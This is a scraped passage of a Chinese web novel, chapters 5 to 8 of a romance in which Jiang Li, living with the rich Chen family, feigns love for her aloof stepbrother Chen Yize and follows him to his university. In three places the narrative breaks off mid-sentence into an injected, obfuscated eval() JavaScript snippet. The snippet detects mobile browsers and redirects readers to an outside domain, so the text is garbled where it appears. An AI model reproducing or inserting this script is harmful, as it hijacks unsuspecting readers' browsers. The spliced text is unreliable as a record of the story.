眼看何管家眼角堆积的皱纹已经比孙妈早餐包的小笼包褶子还要多,姜厘眼珠灵动地转了转,又添油加醋,胡乱表起了衷心:“不管哥哥有什么疾病,就算甲乙丙丁肝全加起来,我都不会歧视他的!” “……”这话怎么听着怪怪的。 何钟没想到他这辈子居然还能听见少爷和“歧视”两字挂钩。 虽然语气遣词都没什么问题,但他听着怎么就觉得哪哪都不对呢。 何管家刚想说什么,目光掠过姜厘立誓直直竖起的三根手指,话全哽在喉咙里,憋了半天才违心地夸出口:“好孩子……” 姜厘弯唇,飞快应下夸赞:“是的,我是。” “……” 事实证明,何管家并不是个独权专政的坏管家,姜厘破坏了他的分餐制,回房后依旧收到了一份由他统计的周边驾校信息表。 晚餐前打开的显示屏迟迟未关,姜厘从桌面拿起一支中性笔,利落地盘了个简易丸子头,然后托腮,注视着电脑屏幕的眼神逐渐哀愁。 天杀的大城市,还她小城镇的亲民物价! 她刚盘完自己手上的存款。 含辛茹苦许多年的姜小姐在每月七百五的生活费中抠抠搜搜攒出的老本,在报了附近最便宜的驾校,买了雅思书后就只剩八十二块三。 这!够!干!什!么!的! 姜厘生无可恋,敛眸,渐渐向书桌侧边的黑色银行卡探去罪恶的视线。 这是陈妄山临走前给她的卡,密码是她生日。 卡面目前被她拿红色水彩笔涂了大大的红叉,以此来提醒自己人穷志不能穷。 这卡她一直没动过,可今晚,姜厘决定破戒。 她必须用那张银行卡里的钱原价点一杯瑞幸让自己清醒一点!! 一想到要讨好那么一个尖酸刻薄的少爷,她的心就冷得像块冰。 麻了。 绑卡下单,为了不惊动保姆和何管,姜厘提前十分钟就等在了廊前花园。预定时间逾了七八分钟,她才从物业管家手中接到自己的橙C美式。 初夏夜晚清爽宜人,姜厘吹着凉风含了口冷饮,拎着打包袋踩在凉润的鹅卵石上往回走。 景观石旁的暖黄地灯由下而上射在园内种植的招展紫竹叶片上,竹叶摇曳的姿态打在楼体,浮光掠金般夺目。 陈屹泽妈妈喜竹,陈家郊外那套庄园更是拿上千平空闲的地皮建了中式庭院。 凉亭假山一应俱全,园内大面积的景观树全用了品相极好的紫竹,听说光是购竹就花费数百万。 数百万,姜厘把这个数字在脑海中具象化一遍,再望向舒展的竹影时忽然生出股换了个世界的诡异感。 她生活的小镇,房价也只在五千上下。 姜厘跑神跑得厉害,临入玄关的最后不经意地往二楼某处瞄了眼。 灯亮着, 陈屹泽在家? 姜厘脸上闪过一丝诧异,低头换鞋间隙,思绪从贫富差距瞬间转换到怎么跟娇少爷拉近距离上。 手机腾不出手拿,放在玄关柜上不知磕到哪处,忽然亮了。 姜厘盯着倏然亮屏的手机,反应过来点进微信。 玄关处灯光温柔治愈,姜厘坐在换鞋椅上,平直的双肩被暖光照出阴影,她迟疑了一会,目光在刚来时何管家拉她进的家庭群上停顿。 - 彼时,少爷房内。 “再说一遍,”陈屹泽支肘,对着屏幕笑得极其危险,“你是怎么把企业的veragereturn算成负数的?” “陈哥救我狗命呜呜。”群视频通话的四分之一版块,徐轻川在屏幕那边哭天抢地地怒嚎。 “华尔街之狼中唯一的狗。”同寝室的刘出岸看热闹不嫌事大。 “呸,你也不是什么好东西,风险值算到了百分之80。”徐轻川伸着脖子回骂道。 “……” 两人半斤八两,来回来去说了半天才意识到要求助的对象没了声,想到摇摇欲坠的学分,徐轻川还是硬着头皮开了口:“陈哥?” 陈屹泽听得快睡着了,眼皮半耷着,极为松散地嗯了声。 “你看这事儿……” “什么事?”男生眼皮微抬,像是终于有了点兴趣。 徐轻川见他配合,忙不迭道:“小组作业啊!” “哦,”陈屹泽反应过来,回得十分薄情,“不管。” “哥,你是我亲哥,我靠奇了怪了,这次的数据我就是算不出来……你今晚也不在宿舍,我真是要完蛋了。”视频对面的男生急得直挠头。 “多去舞蹈学院看学妹就算出来了。”陈屹泽笑中夹杂着几分嘲意。 “……我再也不看了,我以后好好听课,要不我现在去找你吧,不用您动手,在旁边给我指点几分就行。” 这活干不完,整个小组都一起扣学分,听见邻桌的徐轻川这么说,刘出岸看着自己百分之八十的风险率,心里也敲起了鼓,他刚要开口说他也想去,视频那边的陈屹泽就松松垮垮地站起身,边倒水边语气闲散:“来不了,不方便。” 不,方,便。 这话一出,整个117宿舍脸上都燃起了八卦之火,一直没吭声的赵朝也闻声向画面中看去。 徐轻川是个好事精,之前经常因为各种事情翘课,网课更是从来找人代刷,H大课业繁重,验收标准极其严苛,这种临时抱陈屹泽脚的事情发生过很多次,有时也会刚巧碰上他回家住,往往打声招呼过去被奶了万事大吉。 被拒绝这是第一次,给出的理由还是极具遐想空间的不方便三字…… “你家有客人?”徐轻川灵敏嗅到他话中的隐晦。 陈屹泽单手撑着桌面,俯身微微思考了瞬,拖着尾音,语气甚至有些亲昵:“是我久别重逢,20年没见的亲妹妹。” “女的??” “我敲真的假的,没听过你有妹妹啊,亲是动词还是形容词?!” 华尔街之狼寝室猴叫不止,陈屹泽笑得很淡,高大的剪影罩着iPad,眼看他是烦了要挂,徐轻川执着地伸出手掌,表情十分浮夸:“先别挂!至少先回答我一个问题!” “咱妹妹长什么样?漂亮吗!” 陈屹泽身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……?”有必要吗? 何叔提醒的对。 陈屹泽可能是真的厌女。 姜厘沉吟片刻,再次发起了好友请求。 只不过,这次她变了个路数。 输入框只短短半行字。 【你是gay子?】 半秒后,姜厘的微信产生了轰炸般的震动感,眼看陈屹泽已经骂了快100层楼,姜厘才抱着手机认错让他撒气。 姜厘:【对不起哥哥,我一不小心打错字了。】 陈屹泽:【本来要打什么?】 姜厘:【王子。】 陈屹泽:【……】 陈屹泽:【互删。】 姜厘:【可不可以不删除?】 陈屹泽:【你还有事?】 姜厘:【哥哥……】 陈屹泽:【…闭嘴。】 姜厘:【我喜欢你。】 聊天框那边,迟迟没了动静。 6. 第 6 章 零帧起手。 三小时前,她还死死摁着餐桌转盘,拼命争抢每一道菜,生怕他多吃一口。 五小时前她还假装无意地踢飞了他的篮球,架势闹得不共戴天。 而现在,一分钟前,她跟他告白了。 陈屹泽绝对没见过她这种打法。 陈屹泽确实很少见到神经病。 他眯了眯眼,刚想到一个可能,聊天框就如他所不料般跳出字。 姜厘:【别误会,】 姜厘:【就是男女之情。】 陈屹泽:“……”有病。 - 姜厘没有追人的经验,但据说直球热情小狗是男女都难以抗拒的人设。 怎么能说她突兀呢?一见钟情就是这么快,这样一来她之前冒犯他的点也会被合理化成引起他注意的小手段。 姜厘把逻辑盘得明明白白,打完字后趴在床边耐心等着,顺带还打开网易云播放了好几首氛围感bgm来玄学助长自己的告白成功率。 裹着毛巾的湿发还在迟缓地滴着水,洗发水的淡香清爽地绕在鼻尖,夜已深了,万籁俱寂。 地板上一团朦胧的身体投影忽明忽暗。 莫名其妙的,她还真有点紧张。 说实话,如果不是因为妈妈的事,她这一辈子都不敢想会和陈屹泽这样的人扯上关系,他太符合她对上层少爷的想象了。 高傲贵气,习惯用下巴和睨得没有感情的眼眶看人,举手投足都好像在烧金子。 无关配得感不配得感的问题,她和陈屹泽是真真切切不是一个世界的。 姜厘一直高涨的底气忽然发虚,清润的眸底意外染上几分迷茫。 音乐还放着,锁屏歌词滚到“imthinkingaboutyou”时,耳机中律动的女声倏地被一声消息提示音打断。 姜厘猛地惊醒,暗夜中的屏幕像是会晕光,她缓了缓神才惴惴不安地把目光聚焦在身下屏幕。 炸天信息国集-柏然:【小厘你也在B市!明天有时间去给流浪猫噶蛋吗!】 “……” 她想看到的是陈屹泽sayyes,而不是让流浪猫失去eggs. 姜厘闭了闭眼,不想接受现实。 怅然若失的感觉还没渲染到位,柏然的信息轰炸就接踵而至。 炸天信息国集-柏然:【集训队解散后就没你消息了,刚才恰好刷到你的装b朋友圈,下面有定位,你中彩票了?住富人区!】 炸天信息国集-柏然:【说真的,陪我去给流浪猫做绝育吧,我提前加了学校的志愿者,已经联系好附近的宠物医院了,H大的猫猫需要我们!】 谁装b了!等等……H大。 姜厘慢动作地眨了下眼,随后向柏然询问了关于明日事程的详细信息。 柏然告诉她,南苑有两只小母猫到了产期,组织负责人就联系了附近的宠物医院,医院院长愿意半价接受产期猫猫,但为防止这种情况总是发生,要求他们将校园内的公猫们抓捕归案,集体噶蛋,永绝后患。 但学长学姐们要么就是在被老师们抓着做苦力,要么就是在实验室抛头颅洒热血,课程实在紧张,明天能参加活动的人员寥寥无几,只能临时抓壮丁,抓一些像她这样的保送待入生帮忙。 柏然还在不断劝说着:【学姐人可好了,说不白让我们帮忙,为表示热情,她会请我们小萌新去二食堂狠狠搓一顿!还会带我们参观校园,就当提前熟悉了~】 姜厘揣着自己的小九九满口答应下来,她指尖在聊天框上间断飞跃着,迅速和柏然确定了明天接头的地点和时间。 网易云的悸动歌单已经切了四首歌,再次沉寂下来的消息列表挠得姜厘心痒痒。 她踌躇着再试着发下一条讯息时,突然发现,自己被第二次删除了。 淡定,深呼吸。 姜厘努力调整好状态,鼓起勇气提交第三次好友请求,发送过去的瞬间,页面又自动蹦出一句话 ——对方拒绝接收你的消息。 ……陈屹泽把她拉黑了。 “……” 姜厘彻底蚌埠住了。 有没有人了!她装一下直球小狗,怎么把她当真狗了!! 还没来得及吹的发丝裹在毛巾里又潮又燥,姜厘气鼓鼓地关了音乐,扯开毛巾,踢着拖鞋走到浴室握着吹风机吹头发。 静音的吹风筒轻巧又省力,姜厘举着吹风机,乌眸盯着镜中反射的优渥装潢又有点气不出来。 镜中,来源于佳士得某年秋拍的复古翡翠古董镜正被水波灯照得波光粼粼,洗手台侧壁上摆的青白釉花口瓶被随意插了几朵鲜嫩的黑宝石亚百合。 姜厘幽幽挪开视线,不由得叹了口气。 妈的,富人的烦恼真是太少了,这种布景陈设环境下,想气都气不起来。 可她不算是真正意义上的富人,她享受这样的环境是有代价的。 古董配鲜花,她得救她妈。 姜厘眸底被水汽浸得湿润,她手指泛着微微的麻,原地站了一会后,又垂目静悄悄打开了手机。 相册收藏夹置顶的全家福格外显眼,照片中明媚的光线像在吸她的视线。 画面中爸爸目光温和,大手突着薄茧紧紧牵着她们两个人,妈妈偏头朝她笑得开怀…… 熄屏键咔地摁下,屏幕全黑。 浴室顶灯照得鲜亮,镜中的女生挑着睡裙吊带的温润手指,悄悄往下拉了拉。 …… 陈妄山的语音规劝在陈屹泽拉黑姜厘后又迎来了个小高.潮。 叱咤商场的老江湖唯独对儿子无计可施,只能婆婆妈妈地发一条又一条的语音进行感化。 陈屹泽看着堆积如海的语音条,太阳穴直跳,少爷被接二连三的破事烦得头疼,翻了个白眼,扔了准备拿到浴室换的白T,刚准备重新屏蔽他爸,那边就急迫地发来语音通话。 陈妄山的电话不能不接,这是陈家的不成文家训之一。 陈屹泽垂眸盯着屏幕,间隔三秒还是接了。 “没在家?”陈妄山很快出声,嗓音试探。 “……在。”陈屹泽支腿岔坐在卧室的皮质沙发上,模样有些破罐破摔。 “我说的事你都看见没,怎么不回?小厘是妹妹,你当哥哥的带妹妹学学车,熟悉熟悉校园怎么了?” “学车教练不会教?熟悉校园有地图。”陈屹泽态度敷衍,嗓音懒洋洋道:“爸,我修双学位。我很忙。” “交代你点事就这么难?!” 陈妄山被气得不轻,话筒那侧传来他气急败坏拍桌的声音,陈屹泽揉了揉耳朵,把手机挪远了些。 “小时候不是非缠着我和你妈要个妹妹吗!现在妹妹来了,没见你半点上心!” 陈屹泽往后一靠,皮笑肉不笑道:“能一样吗?我要的是亲妹。” “就当她是你亲妹怎么了?” “当不了。” “怎么当不了?!”陈妄山中气十足地质问。 陈屹泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002802|161844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿了一会,无可奈何地阐述事实,语气还有些困扰:“可能因为,她想泡我。” 陈妄山:“?” “刚拒完告白。” 陈妄山:“??” “删了两次,赶都赶不走。” “真烦。” 陈妄山:“……” 话筒那边彻底没音儿了。 陈屹泽判断这事可以暂缓一个篇章了,他揉揉后颈,刚要说个结束语捡T恤洗澡时,对面悠悠传来不太信任的一声。 “……就你?” 弯腰捡T恤的手指停在半空,陈屹泽唇线陡然扬起,笑意渐浓:“我怎么了?” :) “——等会儿我这有个电话进来,”显然注意力被分散,陈妄山那边的声音变得有些模糊,他胡乱嘱咐了句“照顾好妹妹”,很快挂了电话。 没劲。 陈屹泽唇线渐渐拉平,神态转为平静,他抬了抬倦怠的眉眼,还没什么动作,唰地一声,房内灯光骤熄。 顶灯和浴室暖光灯暗得无声无息,就连一直预备着的空气净化系统面板上的小红点也遽然消失。 视线暗的时候除视觉之外的其他五感都格外敏锐,很快陈屹泽就听到走廊外有阵细碎的脚步声。 来人轻手轻脚,却跟他之前一贯听到的略有不同。 男生眉梢微抬,漆黑的眸在夜色中异常清冽,他稍稍往边上挪了几步,松松靠着身侧的门框,静等来宾。 半分钟后,姜厘就掐着嗓子柔柔弱弱地敲上了门,女生声线细得造作,像含了口春水:“哥哥你在吗?好像停电了,好黑。” 姜厘卖力地掐了下指腹,逼自己演完全程:“我好怕……” 怕字还没完全吐出来,那扇姜厘预想中坚不可摧的房门就悠悠打开了,一束光线刺目又乍眼地打在她身上。 姜厘使劲眨了眨眼才适应这光线。 房门那侧,陈屹泽正好整以暇地举着手机,用手电筒打光。 他比她将近高一头,光柱斜斜地打过去,姜厘半湿不湿的头发披在肩后,细细的肩带不知何时滑落在下,瘦削圆润的肩头像悉心温润过的大颗珍珠,锁骨线条立体柔和,姣好的脸蛋可怜巴巴,皮肤嫩得能掐出水来。 陈屹泽眼睛眯了眯,他忽然想到徐轻川打趣时问的那句“妹妹长得漂亮吗?” 挺漂亮。 陈屹泽又明晃晃地看了一会,直到感觉姜厘快耐不住性子逃走,才低头调整视线,朝那双温静的双眸投去耐人寻味的目光。 “怎么了,妹妹。”他音调拖着,像是很配合跟她玩哥哥妹妹的游戏。 姜厘心里有些犯嘀咕,又佯装镇定地攥了攥衣角,怯怯道:“没电了……我有点怕。” “没手机吗?打开手电筒。” 陈屹泽往前逼了一步,姜厘压力顿涨,她咬牙,几乎算是明示:“哥哥,你真是铁石心肠。” “妹妹,” 这一声叫得意味深长。 姜厘抬眸,眼神疑惑回望过去,却见陈屹泽戏谑地牵了下唇。 “你是不是拉了电闸。” 发香涌入鼻腔,陈屹泽指腹随意挽了一缕她泛潮的发丝,凑到她耳边,故意很坏地开口: “是不是还,没注意到电箱对面有个监控。” 姜厘背脊骤僵。 陈屹泽低头看她僵硬的神色,语气愈加轻柔:“放心,我会把你偷拉电闸的照片打印一百份,贴在别墅的各个角落。” “!!!” 7. 第 7 章 脸上的旖旎风光褪得一干二净,肩带瞬间听话地回归原位,姜厘顷刻立正,身板梆直,整个人严肃得像是能立刻递交入.党申请书。 “区区黑暗打不垮我中华儿女!以雷霆击碎黑暗!” 姜厘嬉皮笑脸:“哥哥我没事了嘻嘻,回去睡觉了挺困的。” “站住。” 陈屹泽轻飘飘开口,姜厘背后忽地冒出一滴冷汗。 联想到自己被贴大字报的羞耻体验,姜厘手脚像是灌了铅,她讪讪地笑着,回头神情讨好:“还有什么事吗?哥哥。” 手电筒光柱在暗夜中格外刺眼,楼下何管家和张保姆姗姗察觉到断电的真实原因,奔走着赶去地下室。 姜厘掐着手心,听见男生清淡的嗓音和关门声一并响起: “麻烦以后离我远点。” …… 作为一个现代公民,姜厘十分捍卫自己的人身自由权。 她有一双自由的腿,离近离远全凭自己做主。 姜厘早餐啃了个脆生生的小香梨,然后,像是听不懂他的告诫般,一屁股坐在了那辆看上去就脾气不怎么好的窑黑色迈凯伦副驾上。 高傲的蝴蝶门像两张飞扬的羽翼,姜厘抬头望了眼竖直支楞的车门,索性老老实实系好安全带,抱着包坐得端正。 陈屹泽迈腿走来时看见的就是这样一幕,大少爷眉头皱得死死的,从自己定制的意大利AIcantara翻毛座椅看到女生怀中洗到泛白的蓝色帆布包,忍不住唇角微抽。 头顶被一束锋利到有实物感的视线来回打量,姜厘额前泛麻,她侧眸,刚要眉眼弯弯地跟他打声招呼,接着就听到男生不堪忍受的声音, “hey,Michael,” “弹射副驾驶。” 姜厘:“???” 姜厘险些还以为尊贵的豪车真的有这项人性化服务,直到中控屏闪着红点用机械音说了句抱歉,她才舒了口气。 脸上的灼热视线仍没消散,姜厘眼睛盯着陈屹泽半搭车门的手指,看他迟迟没有上车的意思,又好声好气地解释:“本来是拜托陈叔叔帮我找车的,但他说我和你顺路就让我坐你的车……” 眼看男生脸越来越黑,姜厘和他对视两秒,无助地张了张唇,表情是止不住的失落,她扶着车身几欲下车:“……我知道了哥哥,我走着去就好。” “?” 家里空着俩司机,步行五分钟到地铁站,打车滴滴平均三秒内接单,怎么被她说得像是被扔到了荒芜人烟的沙漠。 陈屹泽眉梢未动,直到看见姜厘下车后又费力地绕身举手试图帮他关车门,才耷着唇角,话音松动道:“你——” 姜厘瞬间昂起低落的脑袋,目光炯炯地望向他,声调雀跃清扬:“嗯?” 什么呀什么呀,挽留我吗?好吧好吧,我重新坐回去吧,哥哥你真是天下第一好的哥哥喽! “……”什么乱七八糟的眼神。 陈屹泽没滋没味地开口:“去哪?” 姜厘试探着重新坐上副驾,意识到陈屹泽没有再赶她才忍不住唇角上扬:“我去H大。” 她想得多,又贴心地补充道:“在临近的路口放下我就好。” H大开豪车的并没有几辆,虽然没有过多了解,但想来陈屹泽在学校也不可能是什么岌岌无名的小虾米,姜厘怕流传出什么风言风语给陈屹泽带来不便,婉转地考虑到这层。 陈屹泽没说什么,大概也是同意了。 绿化带不断倒退,除了个别路口堵车外,算是一路绿灯,姜厘掏出耳机小声量地播着雅思听力磨耳朵,手机app还打开了驾照科目一刷题。 刷了大概有20分钟,她就约了明日的机考,听力女声还在温柔地洗着耳朵,估摸着时间到了,姜厘依照约定提前下了车。 她身上的味道很干净,并没有学院中偶尔闻到的精致香气。 等红灯的时间,陈屹泽随意向后视镜望了眼,看见姜厘的身影变得很小,背包行走在人行道上,白皙的脸蛋被晒得泛红。 - 姜厘赶到昨晚约定的南门时,柏然和三两成群的几位学长学姐已经等了有一会了,她惊诧地低头看腕表,还没看清具体时间,柏然就捕捉到好友的身影,使劲朝她招手。 “姜厘!” 国家集训队中姜厘曾给柏然留过两次深刻印象,第一是考试前期,大家晚上睡不着促膝长谈,谈论到一路走来耗费家里的人力财力都愧疚不已,她原本没开口,被旁边人逼着才轻声道“我自学比较多……”,当场一片愕然。 一杀。 第二是某物竞和数竞大神两人前后脚过来要微信,姜厘很有礼貌地依次添加完两人好友,而后好声好气地问他们,介意她同时谈两个吗? 二杀。 柏然追忆完往昔,又瞄见周围几个学长惊艳的神情,往前保护性地跨了两步去迎:“别看表啦,你没迟到。” 姜厘闻言舒缓地扬了扬唇,她朝陌生学长学姐投来的眼神回以善意,才塌下肩脊放松地回柏然:“不是说七点半到吗,怎么才十五就这么多人了?” “赶早不赶晚嘛,宠物店老板说最好早点把猫猫送过去,最好不要耽误他们下午晚上的正常工作。”柏然递完防抓手套,又忽然察觉到什么,惊呼,“完蛋,忘记告诉你最好不要穿裙子了,一会猫猫应激可能会抓伤。” 姜厘面色一顿,也有些懊悔。 她本来没想穿裙子的,想着勾引陈屹泽才挑了件清凉长裙换上。 “没事的,”扣着大帽檐的学姐笑着插话,“猫猫们还是比较乖的,而且我们准备了舒缓喷雾,不会有什么大问题。” 学姐姓纪,细数下来和柏然还有点亲戚关系,三人杂七杂八聊得开怀。 最后半点一到,谁也不等了,大部队分散成小集体,刷卡进校,径直往事先分好的区域走。 “基本隔几个草坪就有猫猫生活,我们从这条路去叉院附近,边熟悉学校边找猫,正好看看你们姚班上课的教学楼。” 纪娆拎着航空箱,往前两步带着她们走。 一进校园,路边长椅上未来学长学姐抱书啃得死去活来的景象就深切冲击了两位女生。 “不愧是H大……!” 柏然瞠目结舌地左看右看,压力大到恨不得把目光所及内看见的书全塞嘴里吃了。 姜厘的反应比她稍微小点,但没好到哪去,她瞳仁黑黝黝地,一边使劲往周围瞧,一边腹诽。 这是什么!看书的学姐! 这是什么!背书的学长! 这是什么!学长学姐们熬黑的眼圈! 这是什么!学长学姐们年纪轻轻就累弯的腰! 她高中虽然是市重点,但也没感受到这么浓厚的学习氛围, 想到不久的未来要和这些人竞争,姜厘微微有些恐惧。 “别紧张,”纪娆意识到有些不妙,熟络地打着哈哈,“……其实我们学校还是有很多娱乐活动的,我们平时也不总学习。” 纪娆咬牙说完,眼前下意识浮现昨晚熬夜做的bug开会的sb虚拟仿真实验,差点一口老血吐出来。 姜厘和柏然敏锐捕捉到这份异常,探究地看过去时,纪娆已经转换好了表情,真挚地祝福她们:“恭喜你们加入一个有爱的大家庭。” 姜厘,柏然:“……” “哎呀别这种眼神嘛,我们H大硬件还是很突出的,免费健身房游泳馆,不定时的明星宣传,电影送票,不心动吗!” 柏然木木:“一般,坦率告诉我课业 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002803|161844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压力到底有多大,我准备转学了。” 姜厘默默加一。 纪娆又放狠招:“这里帅哥也很多的!智性恋颜控组合体了解一下?” “课都上不完,帅哥再多有用吗?” “帅哥是要靠自己争取的,不过……经管有一位就算了吧。” 纪娆有心想给学妹们普及一下她掌握的各学院帅哥信息,眼一瞄,瞅见草坪上三只不足一月的小奶猫。 翠绿的草坪上,三只奶猫悠闲地晒着太阳,一尺左右是好心学子在累死之余放的半盒舒化奶,乳白乳白的。 毛茸茸的动物幼崽实在净化人心,一时间三人都没了声响,纪娆和柏然姜厘对了个眼神,瞬间摆了个三角形具有稳定性的阵型。 防护手套戴好,包围圈缩到最小,纪娆瞅准时机一手抓一只,姜厘在仓惶中也抓到一小只。 她不敢用力,只感觉到透过手套的那股温热。 柏然反应灵敏,迅速打开航空箱:“快放进来,一会统一去宠物店做检查。” 铁格里摆着铺好的尿垫,手心的三花幼猫抗争地抓着手套,姜厘心跳有些快,静等着纪娆放完小猫走到航空箱边。 … 金融今天上午课不多,昨晚被陈屹泽又救一命的徐轻川帮少爷点了三种口味的小笼包,一早就赶着在南门接他:“今晚不回家了吧?” 陈屹泽想到陈妄山的大段长条语音,回得模棱两可:“应该。” “你最近怎么这么执着回家了?你家到底有谁在啊!” 关于那位在117宿舍盛传了半宿的20多年素未蒙面亲妹妹,华尔街分狗们用三种不同的算法跑数据,最终得出的答案还是——不可能。 说什么天方夜谭呢?真千金霸气回归?屹泽狠狠宠? 现在这世道哪还有这种离谱情节。 不过哥们不说应该自有他的道理,有困难线上援助也是援助不是? 徐轻川懒洋洋地想着,没一会碎嘴子又闲不住了,视线挪到侧边草坪吊儿郎当道:“呦,那边有学妹在抓小猫。” 不知道自己是不是快应激了,陈屹泽现在听见什么哥哥妹妹的就头大,他下意识往草坪看了眼,望见一抹熟悉的白色裙摆。 不远处的绿化草坪上,姜厘正在和只三花猫……搏斗。 她后侧处还有只尾巴带白的,正瞄上她的小腿蠢蠢欲动。 陈屹泽双眸微沉,抬脚预走,脑海忽地闪出陈妄山微信上大段大段的叮嘱,以及话音外的威胁。 ……按他老爸的意思,这个外来客要是出事,他就是第一负责人。 - 三花幼猫在手心里持续挣扎着,终于在快脱手之即被姜厘塞进了航空箱里。 小奶猫似乎受了惊吓,喵喵叫得人心慌,柏然忙着把摇晃好的情绪缓释喷雾喷进去,余光又倏地抓到一晃极快的虚影。 柏然下意识惊呼出声:“姜厘!” 姜厘回头看见那只炸毛的三花猫妈妈时已经来不及了,她将将往后退了半步,猛闭上眼。 心跳像是有了节拍,一阵惊慌失措后,迟滞的疼痛并没到来。 姜厘疑惑地睁开眼,看见陈屹泽不知何时冒出来,挡在了她的身前。 男生劲瘦有力的小臂被猫咪锋利的牙齿戳出两个血洞,正洇洇渗着血,他皱眉看了一眼伤处,而后捏住三花后颈,利落地把它送进航空箱。 什么……哥哥他居然……! 陈屹泽抬眼看见姜厘感动,且除感动外还略带复杂的眼神,意识到大事不妙。 他眉心跳了半跳,没来得及堵耳朵,污言秽语就又闯了进来。 “哥哥……”姜厘吸吸鼻子,开始哼唧。 “更爱你了怎么办。” “……” 8. 第 8 章 事情发生得太快,临近的旁观群众没听清哼唧前夕矫揉造作的“哥哥”二字,脑海中只剩姜厘的那句深情告白在回荡。 更爱你了怎么办…… 么办…… 办…… 学妹!虽然帅哥是要靠自己争取的,但我们也不能一上来就这么猛!! 纪娆收起敬佩的眼光,转而缓缓将视线移到受害者身上,眸光刚触及受害男性的侧颜,她心又咯噔一下。 坏了, 踢到铁板了。 林荫树下枝叶繁茂,男生清瘦挺拔的身影被打上青绿的叶子轮廓,夏日悠扬,他人却冒着一股冷气。 陈屹泽阴沉着脸,唇线绷成平直的一条,似是不胜其扰,男生向姜厘投去警告的一眼,才顾上低头看自己的伤口。 除了利齿咬出的两个血洞外,他小臂侧面还有几条指甲划痕,刚还没出血,现下也开始有往外冒红的迹象。 姜厘被瞪了一眼,悻悻地摸了摸鼻尖,女生目光追到他臂上伤口后,表情也逐渐严肃起来。 航空箱的猫咪还在虚张声势地对着人哈气,她刚要往前走一步打破僵局,身体忽然被侧边人挡了回去。 “……陈同学,你好,”纪娆硬着头皮顶在前面,瞳孔带着闪躲,“这是还没入学的新学妹,她说话比较……直白,你别见怪。” 一次学院活动中,纪娆和陈屹泽接触过,虽然连点头之交都算不上,但姜厘怎么说也是她忽悠过来的小萌新,一会这位少爷要是嘴上没个轻重,事情可就棘手了。 陈屹泽视线打过去,并没应声。 纪娆估摸着算了一下近期志愿团队的剩余资金,又妥帖道:“算起来也是我们处理过程的失误,后续伤口的费用我们会承担的。” 话都说到这地步,这下连徐轻川都觉得他哥们应该是不能发作了,他把手里剩的早餐团吧团吧塞进背包,正准备陪人去医务室,忽地看见身侧男生并不通情达理地往纪娆背后侧了侧下巴,淡声道。 “姜厘。” 姜厘瞬间立正:“Yes,sir!” 陈屹泽看着她没说话,但神情已经无容置疑。 姜厘紧张地眼往一旁瞟,迟迟没表态。 她是要勾搭陈屹泽……这时候也确实是趁虚而入刷好感的最好时机……就算不为这个,怎么说人家是为了帮她挡才被猫咬的,出于人道主义她应该陪着去医务室看看…… 可是哥哥, 姜厘悲痛地低下头。 我的八十二块三的微信余额不允许我保护你。 姜厘百感交集,想趁大家不注意偷偷掏出手机搜一下高校医务室支不支持花呗付款,抬头却发现四周的注意力都聚焦在她身上。 除陈屹泽之外的其他三人听见他们刚才熟稔的对话,表情皆是震惊,其中徐轻川眼睛瞪得圆滚滚,就差没贴过来对着她脸打量了。 姜厘咽了咽口水,不太自在地低头踢了下鞋尖上的黄泥。 一直没什么存在感的柏然想通了什么,突然冒声道:“学姐,这边交给厘厘解决吧?我们该去宠物医院了。” 说罢没给纪娆犹豫的时间,拽着她就走了。 “坏了,老郑的课也快开始了。” 徐轻川像是刚反应过来。 男生郑重其事地把自己好兄弟托付给姜厘后,飞快扫了辆单车,长腿一蹬,风一般消失在现场。 微风裹着张纸团灰溜溜刮过,气压又沉了一个等级。 意识到没路可逃后姜厘绷直身体,看着面前的陈屹泽,煞有介事地拍了拍脑袋:“瞧我这记性,差点忘了你的伤口,哥哥,我们去看医生吧。” 陈屹泽瞥了她一眼,面无表情地迈腿。 “等我死了,你就想起来了。” “别说这种话,”姜厘痛心疾首地制止他,“我会受不了的。” “……” 姜厘从自己洗得发白的帆布包中掏出几张干净的湿巾纸递给他,随后拎包诚惶诚恐地替少爷在前面开道,距他一米内的学生都被友好劝阻,靠边行走。 饶是陈屹泽这辈子饱受瞩目,也十分难顶路人那种疑惑的目光。 他闭了闭眼,轻呵了一声她的名字,姜厘才变乖了些,和他并肩正常行走。 H大的校医院一向被学员戏称“小西天”,校医凭借着发烧多喝水,胃痛多吃饭的治疗方式,一度劝退大半生病学生。 姜厘跟在陈屹泽背后,一直到走出校门才意识到他们的目的地并不在校医院。 在校门口拦了滴滴,两人在一家有狂犬疫苗注射资质的社区医院下了车。 陈屹泽的伤口肿胀得厉害,医生看到后说了一堆专业名词,告知他这是三级暴露,要注射狂犬疫苗和免疫球蛋白两类药剂。 姜厘在听到免疫球蛋白这个名词后,眸色忽地闪了一刻,她好像记得小时候有个小伙伴被狗咬伤后就注射了这个针剂,事后回忆的时候还一把鼻涕一把泪地握住她的手求她也去莫名其妙打一针,说这针打进去比被狗咬还疼一百倍。 